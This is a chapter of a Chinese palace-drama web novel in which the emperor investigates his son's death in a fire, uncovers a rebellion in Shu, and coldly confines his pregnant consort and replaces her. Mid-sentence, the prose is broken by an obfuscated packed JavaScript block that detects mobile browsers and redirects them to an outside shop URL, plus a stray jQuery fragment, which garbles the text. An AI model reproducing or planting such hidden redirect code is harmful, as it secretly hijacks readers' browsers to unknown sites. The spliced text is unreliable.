卯时三刻,与临华宫一墙之隔的翠微宫外殿烛火通明。
萧翊一身玄色常服,发丝微乱,眼底布满血丝,但那目光却锐利如出鞘的刀,一寸寸刮过跪在面前的每一个宫人。
荔枝和周全跪在最前,额头紧贴冰冷金砖,后背已被冷汗浸透。
“说。”萧翊的声音很轻,却带着千钧之力,“大皇子昨夜可有异样?”
周全喉结滚动,竭力稳住声音:“回皇上,殿下昨夜戌时初便歇下了,睡前喝了半盏安神茶,并未见异样。主子……婉昭仪娘娘睡前还特意去看了殿下,掖了被子。”
“安神茶是谁备的?”
“是奴才。”周全叩首,“茶是太医院郑太医开的方子,奴才亲手煮的,煮好让奶娘先试过,才端给殿下。”
萧翊转向荔枝:“婉昭仪昨夜可曾见过什么人?”
荔枝的声音带着哭后的沙哑:“回皇上,主子昨日晚膳后便觉身子不适,早早歇下了。除了锦娘和奴才,并未见旁人。”
她顿了顿,补充道,“倒是……倒是白日里,大殿下从资善堂回来时,似乎心情不好。锦娘说,殿下在御花园……遇见了秋霜。”
“秋霜?”萧翊眉心骤然拧紧,“皇后宫里那个?”
“是。”荔枝声音更低,“秋霜被调去了花房做苦役。她见了大殿下,便扑上来哭诉,说皇后娘娘‘被废’后,她在浣衣局如何被人作践……大殿下听了,一直闷闷不乐。”
跪在后排的奶妈忽然啜泣出声,伏地道:“皇上!奴婢……奴婢还有话要说!”
萧翊目光如冰锥般刺过去:“讲。”
那奶娘抖如筛糠,却像是豁出去了,语速极快:“前些日子,婉昭仪给大殿下喂药时,不知怎的,失手摔了药碗,脸色很不好看,像是……像是不耐烦。还有……昨日下午,大殿下去找婉昭仪时,婉昭仪好像在内殿书房秘会什么人,门关得严严实实,连荔枝姑娘都守在外头。奴婢怕…怕大殿下是撞见了不该看的……”
“砰!”
萧翊一掌拍在身旁的紫檀小几上,茶盏震得跳起,哐当落地,碎瓷四溅。
殿内死寂。
所有宫人吓得魂飞魄散,连呼吸都屏住了。
萧翊缓缓收回手,指节因用力而泛白。他闭上眼,胸腔剧烈起伏,那里面翻涌着惊涛骇浪——
那是不仅是他的儿子,更是皇权的延续。他的死,更代表着皇权动荡。
这绝不可能是意外!这是谋杀,是针对皇权的挑衅!
太后和康王在宫中的暗桩,或许完全有能力、有动机做这件事——除掉皇子,动摇国本,让皇权旁落,为他们争取时间。
可情感深处,有一丝微弱却顽固的声音在低语:夏清圆呢?她有没有可能……
这个念头刚浮起,就被他自己狠狠掐灭。
不,不会。
她或许有野心,或许会算计,但……不该如此狠毒。
但奶娘的话像毒蛇,钻进他耳中,啃噬着他的信任。
“传朕口谕,”萧翊睁开眼,声音恢复了帝王的冰冷与威压,一字一句,砸在死寂的殿中,“宫中走水,伤亡待查。昨夜之事,谁敢多言一字——凌迟。”
“是!”宫人们匍匐在地,颤声应诺。
就在这时,殿外传来急促却刻意放轻的脚步声。吴全顺几乎是弓着腰小跑进来,手中捧着一封加急奏报和一卷厚厚的卷宗,脸上是前所未有的凝重。
他先瞥了一眼内殿方向——那里,太医们还在全力救治昏迷的婉昭仪——然后快步走到萧翊身侧,附耳低语,声音压得极低,却字字清晰如惊雷:
“皇上,韩孝闻与刑录急奏,已查实蜀地过去一年,通过陇西及数条隐秘商道,大规模收购、伪造川穹、红景天等高山行军必备药材,数量之巨,足以支撑数万大军长途奔袭。裴夫人在夏府,也佐证了。”
萧翊瞳孔骤缩。
吴全顺继续道:“同时,蜀地密报,康王过去一月内,以‘整顿吏治’为名,清洗了朝廷派往蜀地的七名官员,其中三人‘暴病而亡’,四人‘失足坠崖’。入蜀所有官道关隘,联络已全部中断。蜀地驻军异动频繁,粮草调运数量激增。”
所有的线索,在这一刻,轰然串联!
药材造假、蜀地备战、清洗官员、中断联络……这不是小打小闹的藩王贪腐,这是磨刀霍霍,是剑指京畿!
萧翊猛地站起身,这一瞬间,丧子之痛、被算计的暴怒、对夏清圆复杂的怀疑与失望……
所有汹涌的个人情绪,被一股更强大的、属于帝王的冷酷理智强行压下,冰封,凝固。
他眼底最后一丝属于“父亲”的痛楚被剥离,只剩下深不见底的寒潭与决断。
“传旨,”他的声音恢复了惯常的平稳,却带着不容置疑的铁血意味,“大皇子萧昀,急病夭折,秘密安葬于皇陵侧园,不设碑,不祭奠。此事由赵羯亲自督办,不得走漏半点风声。”
“遵旨!”吴全顺应声,心头凛然。这是要彻底抹去大皇子之死的所有痕迹,不给任何势力借题发挥的机会。
“令兵部尚书程敏、户部尚书李致、工部尚书张浚,午后入宫,朕在养心殿等他们。”
翠微宫内殿门窗紧闭,隔绝了外间焦土与药汁混杂的古怪气味,却隔不住那份浸透宫墙的、死寂般的压抑。
夏清圆在无边无际的黑暗与剧痛中沉浮了不知多久。
意识像一片脆弱的薄冰,时而被身下汹涌的热流和腹中刀绞般的坠痛击碎,时而又被强行灌入的苦涩药汁和耳边嗡嗡的人声勉强粘合。
“参片!快!”
“止血……”
“娘娘!娘娘您用力攥着奴婢的手!”
许多双手按着她,许多声音在她耳边急切地呼喊,可她什么都抓不住,只觉得冷,彻骨的冷,仿佛整个人都被浸泡在腊月结冰的湖水里,只有小腹那一处,还在徒劳地、微弱地搏动着,像即将熄灭的炭火最后一点余温。
不知又过了多久,那几乎要将她撕裂的剧痛终于缓缓退潮,取而代之的是一种虚脱到极致的绵软与空洞。
有温热的布巾轻轻擦拭她的额头,苦涩的药味再次抵在唇边。
她艰难地掀开仿佛粘在一起的眼皮。
视线模糊了半晌,才渐渐清晰。
映入眼帘的是荔枝哭得红肿不堪的眼睛,还有锦娘苍白却强作镇定的脸。她们身后,是翠微宫陌生的帐顶。
“主子……您醒了?”荔枝的声音带着劫后余生的颤抖和哽咽,想笑,眼泪却先滚了下来。
夏清圆张了张嘴,喉咙干痛得发不出声音。锦娘立刻用温热的棉巾蘸了水,小心润湿她的唇瓣。
“……孩子?”她用尽力气,挤出两个气音。
“保住了,主子,保住了!”荔枝连连点头,泪珠随着动作簌簌落下,“太医们施了针,用了猛药,总算……总算将胎气暂时稳住了。只是您元气大伤,接下来数月都需卧床静养,万不可再劳神动气,也……也受不得任何刺激了。”
孩子还在。
悬在悬崖边的那颗心,并没有因此落回实处,反而被更大的、冰冷的恐惧攫住。
记忆的碎片开始倒灌——冲天的火光,焦黑的尸骸,萧昀……萧昀!
她猛地想坐起来,却被锦娘和荔枝死死按住。
“主子不能动!太医说了绝对不能动!”锦娘的声音也带着后怕的嘶哑,“大皇子的事……皇上已在处置。您如今最要紧的是保住自己和皇嗣,万不能再有闪失!”
夏清圆颓然跌回枕上,胸口剧烈起伏,每一次呼吸都扯着小腹隐隐作痛。
她闭上眼,昨夜那炼狱般的景象历历在目,还有最后失去意识前,萧翊看向她的那一眼……复杂得让她心惊胆战。
殿内死寂,只有更漏滴水,一声声,敲在人心上。
就在这时,外殿忽然传来一阵沉重而稳定的脚步声,由远及近,停在紧闭的殿门外。
那脚步声夏清圆太熟悉了。她的呼吸骤然屏住,指尖无意识地揪紧了身下的锦褥。
殿门被无声推开。
萧翊走了进来。
他脸上没有任何表情,没有震怒,没有悲伤,甚至没有惯常的威严,只有一种近乎凝滞的平静。
但这种平静之下,却仿佛涌动着足以摧毁一切的暗流。
他的眼下有浓重的青影,显然一夜未眠。目光先是极快地扫过夏清圆惨白如纸的脸和榻边尚未完全收拾干净的血污痕迹,在她被锦被掩盖的小腹处停留了短短一瞬,眸色几不可察地一沉,随即移开,落在了空处。
他甚至没有走近榻边,就站在内殿入口处的阴影里,隔着数丈的距离,静静地看着她。
“都出去。”他开口,声音嘶哑得厉害,像是被烈火灼伤了喉咙,带着一种金属摩擦般的冷硬。
荔枝和锦娘担忧地看了一眼夏清圆,不敢违逆,低头敛衽,悄无声息地退了出去,仔细合拢殿门。
殿内只剩下他们两人,以及弥漫不散的药味和那份令人窒息的寂静。
夏清圆躺在榻上,看着他站在阴影里的身影,忽然觉得他无比遥远,远得像隔着千山万水,隔着生死鸿沟。
她张了张嘴,想唤一声“皇上”,可喉咙像是被堵住了,发不出任何声音。
萧翊终于动了。他缓缓向前走了几步,停在了离床榻三四步远的地方,不再靠近。
“太医说,孩子保住了。”他陈述,语气平淡无波,听不出是庆幸还是别的什么。
夏清圆轻轻点了点头,视线模糊。
“有身孕,”萧翊的声音陡然转冷,每一个字都像冰珠子砸在冷硬的砖地上,“为什么不告诉朕?”
他终于问了出来。没有预想中的暴怒呵斥,但那种冰冷的、毫无温度的质询,却比任何怒火都更让人心寒胆战。
夏清圆睫毛剧烈地颤抖起来。她想过无数种他得知此事时的反应,或许有惊喜,或许有责怪她的隐瞒,但绝不该是眼前这样……仿佛在审问一个居心叵测的犯人。
“臣妾……臣妾是怕……”她听到自己干涩的声音,试图解释,“胎气未稳,宫中风波不断,臣妾怕……”
“怕什么?”萧翊打断她,目光如实质的冰锥,刺破她苍白的辩解,“怕保不住?还是怕……朕知道?”
他向前逼近半步,阴影笼罩下来:“你想拿这个孩子做什么?嗯?像皇后一样,当作稳固地位的筹码?还是像冯家、像曹家一样,当作将来争权夺利的本钱?”
“我没有!”夏清圆猛地摇头,泪水终于失控地滚落,“臣妾从未这样想过!这个孩子是……”
“是什么?”萧翊冷笑一声,那笑声里没有半分暖意,只有无尽的疲惫与讥诮,“是意外?是‘恩宠’的证明?还是你夏家更进一步的台阶?”
夏清圆如遭雷击,浑身冰凉,怔怔地看着他,仿佛第一次真正认识眼前这个人。
他怎么能……怎么能这样想她?
把他们之间那些短暂却真实的温存,把她对这个未出世孩子的隐秘期待,全都染上如此不堪的算计色彩?
看着她瞬间惨白的脸和震惊的眼神,萧翊心中那根绷紧到极致的弦,似乎被什么东西狠狠扯动了一下,泛起一阵尖锐的刺痛。但他立刻将这丝不合时宜的柔软狠狠压下。
还有更重要的事。
“裴夫人查到的药材案,”他换了个话题,语气依旧冰冷,“你早就知道,是不是?”
夏清圆瞳孔骤缩。
她张了张嘴,下意识想否认,可目光触及他深不见底、仿佛已洞悉一切的眼眸时,所有狡辩的言辞都堵在了喉咙里。
她窥见他眼中的了然与更深的失望,便明白,自己藏不住了。
她极其缓慢地,点了一下头。动作僵硬,像个提线木偶。
“你知道那些被大量调包收购的川穹、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014212|192431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
红景天,意味着什么吗?”萧翊的声音压得更低,却带着山峦将倾般的重量,“你知道隐瞒此事,可能造成怎样的后果吗?贻误军机,边防疏漏,将士枉死——这些,你想过吗?!”
他想听到她的辩解,哪怕是最拙劣的借口。他想听到她说,她是害怕,是谨慎,是想要更稳妥的方式。
夏清圆的脑子一片混乱,头痛欲裂,小腹的隐痛一阵阵袭来。
她想说,她怕这又是一个针对夏家的陷阱,怕贸然出头会万劫不复,所以她选择了借刑录和韩孝闻之手,迂回地将线索递到御前。
可话到嘴边,她又咽了回去。她不能牵连那两个人,不能毁了他们的前程。
最终,千言万语,化作一声近乎虚脱的叹息,和一句苍白无力的实话:“臣妾……不想让夏家背负挑起战端的罪名,被天下百姓厌恨。”
话音落,殿内陷入死一般的寂静。
萧翊看着她,看着她苍白脸上交织的恐惧、委屈、痛苦,还有那份无法言说的孤注一掷。
曾几何时,他觉得她与众不同,带着宫墙外鲜活的烟火气,甚至在他沉重冰冷政治生命里,投下过一丝微弱却真实的光亮。
可现在,他看着眼前这个隐瞒身孕、知情不报、深陷皇子死亡漩涡的女子,忽然感到一种巨大的失望与陌生。
可这失望之下,却又涌动着一股“果然如此”的、近乎自嘲的熟悉感。
后宫这片泥潭,终究还是将她弄脏了。
她变得和太后一样精于算计,和皇后一样权衡利弊,和这宫里任何一个汲汲营营的女子没什么不同。
是他错了。是他自我放纵,给了她不该有的期待和错觉。
萧翊缓缓抬手,抚向自己左手的小指。
那里,戴着一枚温润的羊脂玉扳指,内侧精细雕刻的缠枝莲纹,是那个雪夜,她悄悄塞进他掌心,笑着说“我爹说玉能辟邪”的信物。
指尖触到微凉的玉石,脑海中不受控制地闪过一些画面——是宫外夏家小院里她叽叽喳喳的鲜活,是邯山书院她提着食盒找来时的娇憨,是许多个夜晚临华宫灯下那点难得的松弛与暖意……
那些画面如此鲜明,却与眼前榻上苍白脆弱、满眼防备与算计的女子,无论如何也对不上。
仿佛隔着一层再也无法穿透的浓雾。
心头那点被强行压下的刺痛,骤然放大,化为一种近乎痉挛的闷痛。
他猛地用力,将那枚扳指从指根褪下。
羊脂玉在昏暗的光线里划过一道温润却冰冷的弧线,“嗒”的一声轻响,落在夏清圆枕边的锦褥上,滚了两滚,停在她散落的青丝旁。
“怪朕。”
萧翊开口,声音嘶哑破碎,带着一种万念俱灰般的疲惫与自厌。
“是朕……模糊了私情与朝政的界限。”
夏清圆怔怔地看着那枚近在咫尺的扳指,又缓缓抬起眼,看向萧翊冰冷而疲惫的侧脸。
巨大的恐慌如同冰水灭顶,她猛地挣扎着想坐起来,却再次被腹部的抽痛逼得跌回去。
“皇上……”她声音抖得不成样子,带着破碎的哭腔,“您……不信任臣妾了?”
这是比任何质问、任何惩罚都更让她恐惧的事。
萧翊没有立刻回答。他沉默地站在那里,看着窗外透入的、苍白的天光。良久,他才极其缓慢地、一字一顿地道:
“朕,没办法信你。”
每一个字,都像烧红的铁钉,钉进夏清圆的心脏。
“你急于吞下冯家的政治遗产在前,对关乎国本的军机要情知情不报在后,有身孕之事与大皇子出事同时发生……”他顿了顿,闭上眼,复又睁开,眼底只剩一片荒芜的决绝,“桩桩件件,你让朕,如何信你?”
这不是气话,而是基于眼前一连串事实做出的冰冷判决。
夏清圆看着他眼中那片冰冷的荒原,呆住了。
所有的解释,所有的委屈,所有的恐惧,在这一刻都失去了意义。
她的每一步选择,都是为了家族谋利、为了谨慎自保,都情有可原,但叠加在一起,在帝王眼中却构成了无法辩驳的“野心与算计”的证据链。
这种努力反而导致关系毁灭的悖论,让她牺所牲掉的、珍视的东西,都变成了毫无意义的灰烬。
一种巨大的、灭顶般的幻灭感轰然袭来,将她彻底吞没。
大脑一片空白,耳边嗡嗡作响,连小腹的疼痛都变得遥远。
她张着嘴,却发现自己连一句为自己辩白的话都想不出来,一个字都说不出。
萧翊不再看她,仿佛多看一眼,都是煎熬。
他转身,背对着她,面向紧闭的殿门,声音恢复了帝王的冷硬与清晰,下达旨意:
“即日起,婉昭仪于翠微宫静养安胎,无朕旨意,任何人不得出入探视。”
这是软禁。
“传朕口谕,定国将军之女韩氏,着即日入宫,册为皇贵妃,摄六宫事。”
这是取代。
他用这两道旨意,为昨夜那场滔天大火,也为他们之间那点曾经存在过的、微弱的光亮,画上了一个冷酷而决绝的句号。
旨意下达,他不再停留,甚至没有再看榻上的人一眼,大步走向殿门,伸手推开。
天光涌进,将他玄色的身影吞没。沉重的殿门在他身后缓缓合拢,隔绝了内外,也仿佛隔绝了两个世界。
翠微宫内,重归死寂。
夏清圆躺在榻上,睁大着眼睛,望着帐顶繁复却陌生的绣纹,泪水无声地汹涌而出,很快浸湿了鬓发和枕头。
可她连抬手去擦的力气都没有了。
小腹处,那个侥幸保住的、微弱的心跳,还在固执地搏动着。
可她却觉得,自己的一部分,已经随着那场大火,随着那个孩子,随着他最后那句“无法信任”,彻底死去了。
只剩下余烬,徒然地堆积在这华美的囚笼里。